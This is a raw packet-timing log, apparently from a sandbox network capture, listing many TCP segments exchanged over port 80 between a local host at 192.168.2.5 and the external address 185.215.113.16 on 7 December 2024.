Dec 7, 2024 08:43:50.999461889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.999556065 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.999597073 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.999720097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.000451088 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.000469923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.000546932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.001506090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.001558065 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.001688957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.001761913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.002604961 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.002696037 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.002707005 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.002733946 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.003663063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.003786087 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.003796101 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.003861904 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.004719019 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.004842043 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.004908085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.004976988 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.005812883 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.005867958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.005922079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.006010056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.006891966 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.006969929 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.007008076 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.007087946 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.008099079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.008116007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.008148909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.008174896 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.009032011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.009089947 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.009171963 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.009213924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.010121107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.010174036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.010207891 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.010318041 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.011157990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.011238098 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.011272907 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.011328936 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.012238979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.012306929 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.012351990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.012413979 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.013318062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.013375998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.013387918 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.013456106 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.014391899 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.014456034 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.014507055 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.015465021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.015513897 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.015571117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.015621901 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.016530037 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.016608000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.016628981 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.016669035 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.017606974 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.017656088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.017704010 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.017760992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.018668890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.018735886 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.018795967 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.018898964 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.019757032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.019814014 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.019875050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.019926071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.020850897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.020998955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.021213055 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.021893024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.022037983 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.022165060 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.022989035 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.023053885 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.023113012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.023176908 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.024060011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.024148941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.024209023 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.024288893 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.025160074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.025262117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.025270939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.025309086 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.026196957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.026238918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.026365042 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.026441097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.027301073 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.027359009 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.027390003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.027472973 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.028366089 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.028417110 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.028430939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.028527975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.029427052 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.029496908 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.029541016 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.029613018 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.030600071 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.030657053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.030706882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.030760050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.031584024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.031637907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.031694889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.031769037 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.032663107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.032743931 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.032890081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.032928944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.033740997 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.033807039 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.033830881 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.033895016 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.034847021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.034955025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.035001993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.035044909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.035878897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.035962105 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.036015987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.036078930 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.036951065 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.037000895 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.037035942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.037133932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.038029909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.038079023 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.038149118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.038239002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.039093971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.039175987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.039203882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.039256096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.040179014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.040230036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.040275097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.040333986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.041274071 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.041323900 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.041349888 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.041450024 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.042331934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.042382956 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.042422056 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.042530060 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.043387890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.043452978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.043492079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.043566942 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.044447899 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.044595957 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.169275999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.169326067 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.169764042 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.169765949 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.169846058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.170017004 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.170830965 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.170979977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.171008110 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.171067953 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.171890020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.171952963 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.171967983 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.172374010 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.172955990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.173023939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.173094988 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.173213005 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.174036026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.174154997 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.175153017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.175235987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.175236940 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.175332069 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.187845945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.187983036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.188121080 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.188302994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.188472033 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.188500881 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.189412117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.189521074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.189579010 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.190179110 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.190459967 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.190593004 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.190601110 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.190769911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.191519022 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.191689968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.191706896 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.191814899 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.192576885 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.192651033 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.192681074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.192890882 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.193651915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.193737984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.193825006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.194724083 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.194770098 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.194879055 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.194945097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.195808887 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.195966005 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.196908951 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.196965933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.197010040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.197010040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.197954893 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.198005915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.198492050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.199011087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.199054003 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.199131966 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.199172974 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.200112104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.200185061 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.200208902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.200299978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.201185942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.201289892 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.201358080 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.202260971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.202346087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.203332901 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.203346014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.203670979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.203758001 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.204395056 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.204507113 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.204716921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.205488920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.205575943 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.205584049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.205699921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.206598043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.206651926 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.206722975 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.206768990 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.207640886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.207688093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.207748890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.207782984 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.208745956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.208846092 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.208872080 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.208933115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.209897041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.209979057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.210063934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.210917950 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.210990906 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.211087942 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.211911917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.211992979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.212243080 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.213011026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.213088036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.213097095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.213418007 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.214066982 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.214148998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.214185953 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.214232922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.215137959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.215174913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.215238094 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.215328932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.216207027 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.216280937 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.216335058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.217340946 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.217376947 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.217406988 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.217478991 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.218389988 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.218472004 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.218586922 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.218641996 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.219451904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.219512939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.219588995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.219630957 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.220527887 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.220596075 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.220612049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.220799923 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.221625090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.221700907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.221764088 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.221801043 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.222675085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.222763062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.222784996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.222924948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.223733902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.223831892 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.224812984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.224886894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.224937916 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.225912094 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.225987911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.226006985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.226867914 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.226952076 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.227032900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.227046967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.227125883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.228046894 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.228091002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.228163958 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.228219032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.229100943 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.229146957 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.229178905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.229228973 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.230173111 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.230310917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.230504036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.231255054 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.231326103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.231391907 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.231437922 CET	49795	80	192.168.2.5	185.215.113.16
